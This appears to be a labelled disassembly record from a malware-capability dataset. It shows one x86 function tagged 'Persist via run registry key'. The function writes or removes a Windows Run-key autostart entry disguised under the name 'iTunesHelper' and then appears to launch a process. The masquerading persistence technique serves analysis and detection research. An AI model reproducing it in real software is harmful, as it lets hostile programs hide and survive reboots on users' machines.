Function at 0x44d7b0
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe4
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x10
mov bl, cl
mov dword [ebp - 0x38], 7
xor eax, eax
mov dword [ebp - 0x3c], 0
push 0x4c32e0
lea ecx, [ebp - 0x4c]
mov word [ebp - 0x4c], ax
call fcn.0040b250
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 0xc
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push str.iTunesHelper
mov word [ecx], ax
call fcn.0040b250
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 0x2d
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov word [ecx], ax
call fcn.0040b250
lea ecx, [ebp - 0x1c]
call fcn.00444680
add esp, 0x18
xor eax, eax
mov ecx, esp
push 1
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push 0x4c32dc
mov word [ecx], ax
call fcn.0040b250
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 0xffffffffffffffff
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push eax
mov word [ecx], ax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040b790
lea ecx, [ebp - 0x64]
call fcn.0044f3d0
mov esi, dword [0x4b93e4]
mov edi, eax
lea eax, [ebp - 0x1c]
add esp, 0x30
cmp eax, edi
je 0x44d8c8
cmp dword [ebp - 8], 8
jb 0x44d8ab
push dword [ebp - 0x1c]
call esi
add esp, 4
xor eax, eax
mov dword [ebp - 8], 7
push edi
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0xc], 0
mov word [ebp - 0x1c], ax
call fcn.0040acc0
cmp dword [ebp - 0x50], 8
jb 0x44d8d6
push dword [ebp - 0x64]
call esi
add esp, 4
cmp dword [ebp - 0xc], 0
mov edi, dword [0x4b941c]
jne 0x44dad6
test bl, bl
je 0x44db94
lea eax, [ebp - 0x34]
push eax
call fcn.00444340
mov ecx, eax
call fcn.00445020
sub esp, 0x18
mov ecx, esp
push 0x4c32dc
call fcn.0040b350
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 0xffffffffffffffff
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push eax
mov word [ecx], ax
lea eax, [ebp - 0x34]
push eax
call fcn.0040b790
lea ecx, [ebp - 0x64]
call fcn.0044f3d0
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x98], eax
add esp, 0x30
cmp ecx, eax
je 0x44d97a
cmp dword [ebp - 0x20], 8
jb 0x44d95d
push dword [ebp - 0x34]
call esi
mov eax, dword [ebp - 0x98]
add esp, 4
xor ecx, ecx
mov dword [ebp - 0x20], 7
mov word [ebp - 0x34], cx
lea ecx, [ebp - 0x34]
push eax
mov dword [ebp - 0x24], 0
call fcn.0040acc0
cmp dword [ebp - 0x50], 8
jb 0x44d988
push dword [ebp - 0x64]
call esi
add esp, 4
cmp dword [ebp - 0x24], 0
jne 0x44d9a3
cmp dword [ebp - 0x20], 8
jb 0x44d99c
push dword [ebp - 0x34]
call esi
add esp, 4
xor edi, edi
jmp 0x44dc54
push 1
push 0xffffffffffffffff
lea eax, [ebp - 0x98]
mov dword [ebp - 0x98], 0x5c
push eax
lea ecx, [ebp - 0x34]
call fcn.004085d0
lea ecx, [ebp - 0x4c]
push ecx
push 0x4bd12c
push eax
push 0
lea eax, [ebp - 0x94]
push eax
lea ecx, [ebp - 0x34]
call fcn.00407440
mov edx, eax
lea ecx, [ebp - 0x64]
call fcn.00409780
add esp, 4
lea ecx, [ebp - 0x7c]
mov edx, eax
call fcn.0040c5a0
add esp, 4
lea ecx, [ebp - 0x1c]
push eax
call fcn.0040a8f0
cmp dword [ebp - 0x68], 8
jb 0x44da0c
push dword [ebp - 0x7c]
call esi
add esp, 4
xor eax, eax
mov dword [ebp - 0x68], 7
cmp dword [ebp - 0x50], 8
mov dword [ebp - 0x6c], 0
mov word [ebp - 0x7c], ax
jb 0x44da2e
push dword [ebp - 0x64]
call esi
add esp, 4
xor eax, eax
mov dword [ebp - 0x50], 7
cmp dword [ebp - 0x80], 8
mov dword [ebp - 0x54], 0
mov word [ebp - 0x64], ax
jb 0x44da53
push dword [ebp - 0x94]
call esi
add esp, 4
cmp dword [ebp - 8], 8
lea eax, [ebp - 0x1c]
push 0
cmovae eax, dword [ebp - 0x1c]
push eax
call edi
add esp, 8
test eax, eax
jne 0x44dabf
lea eax, [ebp - 0x98]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_bind
call dword [0x4b9040]
test eax, eax
jne 0x44dabf
cmp dword [ebp - 8], 8
lea ecx, [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
cmovae ecx, dword [ebp - 0x1c]
add eax, eax
push eax
push ecx
push 1
push 0
push str.iTunesHelper
push dword [ebp - 0x98]
call dword [0x4b902c]
push dword [ebp - 0x98]
call dword [0x4b903c]
cmp dword [ebp - 0x20], 8
jb 0x44db94
push dword [ebp - 0x34]
call esi
add esp, 4
jmp 0x44db94
push 1
push 0xffffffffffffffff
lea eax, [ebp - 0x98]
mov dword [ebp - 0x98], 0x5c
push eax
lea ecx, [ebp - 0x1c]
call fcn.004085d0
push 0xffffffffffffffff
inc eax
lea ecx, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x94]
push eax
call fcn.00407440
mov edi, eax
lea eax, [ebp - 0x4c]
cmp eax, edi
je 0x44db3a
cmp dword [ebp - 0x38], 8
jb 0x44db1d
push dword [ebp - 0x4c]
call esi
add esp, 4
xor eax, eax
mov dword [ebp - 0x38], 7
push edi
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x3c], 0
mov word [ebp - 0x4c], ax
call fcn.0040acc0
cmp dword [ebp - 0x80], 8
jb 0x44db4b
push dword [ebp - 0x94]
call esi
add esp, 4
test bl, bl
jne 0x44db8e
lea eax, [ebp - 0x98]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_bind
call dword [0x4b9040]
test eax, eax
jne 0x44db8e
push str.iTunesHelper
push dword [ebp - 0x98]
call dword [0x4b9028]
push dword [ebp - 0x98]
call dword [0x4b903c]
mov edi, dword [0x4b941c]
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 0xffffffffffffffff
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push eax
mov word [ecx], ax
lea eax, [ebp - 0x4c]
push eax
call fcn.0040b790
test bl, bl
sete cl
call fcn.004450f0
add esp, 0x18
test al, al
jne 0x44dc4f
test bl, bl
je 0x44dc4f
cmp dword [ebp - 8], 8
lea eax, [ebp - 0x1c]
push 0
cmovae eax, dword [ebp - 0x1c]
push eax
call edi
add esp, 8
test eax, eax
jne 0x44d99c
push 0x40
push eax
lea eax, [ebp - 0xdc]
xorps xmm0, xmm0
push eax
movdqu xmmword [ebp - 0x74], xmm0
call fcn.004a729e
add esp, 0xc
mov dword [ebp - 0xe0], 0x44
lea eax, [ebp - 0xe0]
push eax
call dword [0x4b9180]
cmp dword [ebp - 8], 8
lea ecx, [ebp - 0x74]
push ecx
lea ecx, [ebp - 0xe0]
push ecx
push 0
push 0
push 0x200
push 0
push 0
lea eax, [ebp - 0x1c]
cmovae eax, dword [ebp - 0x1c]
push 0
push eax
push 0
call dword [0x4b9184]
mov edi, eax
jmp 0x44dc54
mov edi, 1
cmp dword [ebp - 8], 8
jb 0x44dc62
push dword [ebp - 0x1c]
call esi
add esp, 4
xor eax, eax
mov dword [ebp - 8], 7
cmp dword [ebp - 0x38], 8
mov dword [ebp - 0xc], 0
mov word [ebp - 0x1c], ax
jb 0x44dc84
push dword [ebp - 0x4c]
call esi
add esp, 4
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004a6303
mov esp, ebp
pop ebp
ret